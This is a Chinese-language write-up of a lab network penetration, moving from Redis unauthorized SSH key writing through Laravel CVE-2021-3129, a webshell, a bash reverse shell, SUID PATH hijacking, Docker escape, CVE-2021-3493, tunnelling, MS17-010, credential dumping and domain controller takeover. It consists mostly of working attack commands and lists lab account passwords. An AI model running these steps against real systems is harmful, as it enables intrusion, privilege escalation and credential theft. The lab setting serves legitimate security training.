靶场网络拓扑
Kali eth0 VMnet8:
192.168.52.128DMZ跳板机:Web1: VMnet8
192.168.52.10VMnet2
192.168.52.10Web2: VMnet2
192.168.52.20VMnet14
192.168.93.10PC1:VMnet2
192.168.52.30VMnet14
192.168.93.20PC2:VMnet14
192.168.93.40


DMZ 区的 Ubuntu 需要启动 redis 和 nginx 服务:
sudo redis-server /etc/redis.conf sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf sudo iptables -F第二层网络的 Ubuntu 需要启动 docker 容器:
sudo service docker start sudo docker start 8e172820ac78第三层网络的 Windows 7 (PC 1)需要启动通达 OA:
C:\MYOA\bin\AutoConfig.exe 关闭waf否则无法访问OA

域用户信息
域用户账户和密码如下:
- Administrator:Whoami2021
- whoami:Whoami2021
- bunny:Bunny2021
- moretz:Moretz2021
Ubuntu 1:
- web:web2021
Ubuntu 2:
- ubuntu:ubuntu
通达 OA 账户:
- admin:admin657260
WEB1 redis未授权写入SSH公钥
从web1开始ip为192.168.59.141

存在Redis未授权访问,可以写入redis服务器的/root/.ssh考虑写公钥
Laravel的 poc-yaml-laravel-cve-2021-3129
生成密钥ssh-keygen -t rsa

密钥文件再/root/.ssh/id_rsa.pub文件中
cat ~/.ssh/id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCIjeU3z6TiAlhRDOnK5YGJ2Ggj30I0YFZggGCYu8A1jzoep+8ybmPMRwhA3+mU7pMTpI1a372xCwTcaJmeaQmSLobaxJYCKFEb5D8c36yu0J/OqUJNOgWgiGwXr3wtvP2nDqbyKbnhTebbBuEH+xQEgtHaSKlshF/WtmpKSA4+9WgHS5341nz94x6s5h7wu7jXJWShQRqLgiEbTR8vyzJ7XuVlYG2GMSpPIQYCYIUko9ZNW2/oyM6WiM8DfJktDTmXdMZeN6/Sxzv5BirV7HIy3scGJb3QT+0tDf/jSPbCF57xLb1gMusa8WIPQbSpeKIotmJ/c+bQIvKibQPxCCu8AcqCkEh+FHcN39XEtlRfO/91H/TGDXQ7ZhaUAIssm8Zm49o0XPfyFhkcPMsRHquqqgkE+xThu7jrO8ra5reeDWEqkONUkYmMBUq5i5Ke/LvDCsaVqNLgHyDY50nbuVB3jLKXjEyhzs6SVeiHuyDDJGq6RXI4DpIn95plfQ+JDv8= root@kali
用redis-cli -h <IP> 连接Redis服务器
redis-cli -h 192.168.59.141 -p 6379
config set dir /root/.ssh/
config set dbfilename authorized_keys
set marginl "\n\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCIjeU3z6TiAlhRDOnK5YGJ2Ggj30I0YFZggGCYu8A1jzoep+8ybmPMRwhA3+mU7pMTpI1a372xCwTcaJmeaQmSLobaxJYCKFEb5D8c36yu0J/OqUJNOgWgiGwXr3wtvP2nDqbyKbnhTebbBuEH+xQEgtHaSKlshF/WtmpKSA4+9WgHS5341nz94x6s5h7wu7jXJWShQRqLgiEbTR8vyzJ7XuVlYG2GMSpPIQYCYIUko9ZNW2/oyM6WiM8DfJktDTmXdMZeN6/Sxzv5BirV7HIy3scGJb3QT+0tDf/jSPbCF57xLb1gMusa8WIPQbSpeKIotmJ/c+bQIvKibQPxCCu8AcqCkEh+FHcN39XEtlRfO/91H/TGDXQ7ZhaUAIssm8Zm49o0XPfyFhkcPMsRHquqqgkE+xThu7jrO8ra5reeDWEqkONUkYmMBUq5i5Ke/LvDCsaVqNLgHyDY50nbuVB3jLKXjEyhzs6SVeiHuyDDJGq6RXI4DpIn95plfQ+JDv8= root@kali\n\n\n"
save

第一句是修改Redis的数据文件保存目录,第二句是修改Redis保存数据库的文件名,由原来的dump.rdb修改为 authorized_keys ,既Redis保存时由原来的/var/lib/redis/dump.rdb 变为/root/.ssh/authorized_keys
ssh连接
ssh root@192.168.59.141 -i ~/.ssh/id_rsa

发现内网网卡192.168.52.10
把密码改为123456方便ssh,当然在MobaXterm上用ssh公钥也可以ssh

WEB2
之前fscan扫描出这个Laravel有poc-yaml-laravel-cve-2021-3129漏洞
下载利用工具https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

必须使用哥斯拉3以下的版本才能连接
http://192.168.59.141:81//fuckyou.php 密码pass
2.96版本哥斯拉https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla

java -jar Godzilla-V2.96.jar


网页权限是www-data,需要提权
Docker内提权
写个反弹shell
在web1的ubuntu中nc -lvnp 7777(web2连不到kali上)
在webshell中bash -c “bash -i >& /dev/tcp/192.168.52.10/7777 0>&1”


webshell连接上了
查找SUID文件find / -perm -4000 -type f 2>/dev/null

find / -perm -4000 -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/home/jobs/shell
/bin/mount
/bin/su
/bin/umount
发现jobs用户目录下有个shell可执行文件
查看jobs目录下还有什么文件

有个demo.c文件,疑似是编译前的shell
#include<unistd.h> // 提供 setuid, setgid 等函数声明
void main() // 不规范:应该返回 int,且最好写成 int main(void)
{
setuid(0); // 尝试将实际用户ID设为 0 (root)
setgid(0); // 尝试将实际组ID设为 0 (root)
system("ps"); // 调用 /bin/sh -c "ps" 执行命令
}
system("ps") 会在 PATH 环境变量指定的目录中搜索 ps 可执行文件。
攻击者可以修改 PATH,让程序优先找到恶意的 ps,从而以 root 权限执行任意代码。
shell文件利用过程
在可写目录(/tmp)创建一个一个名为 ps 的脚本
echo ‘#!/bin/sh\n/bin/bash -p’ > /tmp/ps
赋予执行权限
chmod +x /tmp/ps
将 /tmp 加到 PATH 最前面,然后运行 shell
PATH=/tmp:$PATH ./demo
echo -e '#!/bin/sh\n/bin/bash -p' > /tmp/ps && chmod +x /tmp/ps && PATH=/tmp:$PATH /home/jobs/shell

提权成功,用户为root
把会话变为交互式,依旧参考这两位大佬的
https://saucer-man.com/information_security/233.html
https://fushuling.com/index.php/2023/10/21/%E5%90%8E%E6%B8%97%E9%80%8F%E4%B9%8B%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BDlinux%E7%AF%87/
python -c "import pty;pty.spawn('/bin/bash')"
//或者 script /dev/null -c bash #强制分配更完整 tty
ctrl+z
stty raw -echo; fg
reset
export TERM=xterm-256color
stty rows 55 columns 211

发现根目录有.dockerenv,是docker环境
docker逃逸
cat /proc/self/status | grep CapEff 查看docker是否是特权模式

CapEff: 0000003fffffffff
0000003fffffffff就是接近特权模式,可以挂载磁盘等操作
lsblk查看原机器磁盘

我的判断依据是SIZE大的sda为需要的磁盘
创建一个文件夹pass
挂载到pass mount /dev/sda1 /pass

查看目标主机是什么系统
cat /etc/os-release

ubuntu14.04.6,考虑把ssh写入/home/ubuntu/.ssh/authorized_keys因为ubuntu一般不允许ssh到root用户
写入ssh密钥逃逸
在Web1中生成ssh密钥
ssh-keygen -t rsa

写入web2中
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDscSjZL2dTdZRMxnuYgcC1YjxxC7UfaKfYr6sNVA2ezUTHxt3uoD7J0FctIvCEtPtEVREjcjKUrr7uDqFqx8dDvRFd7Mv8uZKoR/qBxz4380dX0sWKKbj0KFcbIUONHT4BjOjCHyTMUMr17qe3KIcc+7+01+Vf22YJkL3enMcN/FOpi110Mn7MmnfNzEV1SVUsapRK2ShBSUy4T81YBYXDzuNTHksbwjCvCAdImO3xVaVlENg46P9KiXmqd4QArMtwuVEJI3HUuP7jDlEvGGMGz9Uk1kwEtYDe1LsCS2Gtrx23b+6d0SoYeiXIK2Y1ORW5oGVQzomM4oBHFyQxLLS/ root@ubuntu' > pass/home/ubuntu/.ssh/authorized_keys
ssh ubuntu@192.168.52.20 -i ~/.ssh/id_rsa

登入成功

uid=1000(ubuntu)还不是最高权限
系统是ubuntu14.04可以用CVE-2021-3493
CVE-2021-3493漏洞是Linux内核中overlayfs文件系统中的Ubuntu特定问题,在Ubuntu中没有正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu带有一个支持非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来进行提权操作,因此该漏洞对Linux的其他发行版没有影响。
影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
(Linux内核版本 < 5.11)
https://github.com/briskets/CVE-2021-3493
把exploit.c传到Web1中,让Web2用wget下载
Web1中:python3 -m http.server 8888
Web2中wget 192.168.52.10:8888/exploit.c
进行编译gcc exploit.c -o exploit
运行exploit ./exploit

id=0提权成功
用Web1搭建内网隧道
在本机Windows中:windows_x64_admin.exe -l 9999
在Web1中:./linux_x64_agent -c 192.168.59.1:9999

在Windows中分配流量
(admin) >> use 0
(node 0) >> socks 7777
用代理插件ProxyBridge


配置kali的socks
vim /etc/proxychains4.conf

配置一下浏览器的socks5
PC1

传fscan扫描内网

是一个通达OA,找利用工具



有一个文件上传漏洞,可以写一个马
普通的马好像没法用,找一个蚁剑不死马


查看二层网卡ip

192.168.93.20为他的第二层内网ip
搭建二层代理
上传windows_x64_agent.exe搭建第二层隧道
在主机windows上
(node 0) >> listen 后输入12345,端口为12345

在目标机上 windows_x64_agent.exe -c 192.168.52.10:12345

(admin) >> detail
(admin) >> use 1
(node 1) >> socks 10800



在kali上配置好proxychains

PC2
用fscan扫描一下
fscan -h 192.168.93.0/24 -socks5 192.168.59.1:10800 -np

发现192.168.93.40有445端口
MC_010
MS_010启动
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set proxies socks5:192.168.59.1:10800
set payload windows/x64/meterpreter/bind_tcp
set RhOSTS 192.168.93.40
set lport 443
run

打进去了

是个system权限

找一个带有 NT AUTHORITY\SYSTEM的64位进程注入一下
抓取用户凭证
migrate 488
load kiwi

提示不是SYSTEM?getsystem

拿到域管凭证

域名是whoamianont.org

域控凭证登录
进行psexec横向移动
加入内网路由(不知道为什么用PC1的流量转发创建不了会话)
在PC2的会话中
msf > route add 192.168.93.0 255.255.255.0 2
use exploit/windows/smb/psexec
set RHOSTS 192.168.93.30
set proxies socks5:192.168.59.1:10800
set SMBUser Administrator
set SMBPass Whoami2021
set SMBDomain whoamianony.org
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 443
run

好像又失败了……
直接用evil-winrm登录吧,感觉比其他的smb登录工具好用一些
proxychains evil-winrm -i 192.168.93.30 -u 'whoamianony.org\Administrator' -p 'Whoami2021'

拿下域控了

思路:Kali -> Redis未授权 -> Web1 -> Laravel -> Web2 -> 一级隧道 -> PC1(OA) -> 二级隧道 -> PC2(MS17-010) -> 凭据获取 -> DC









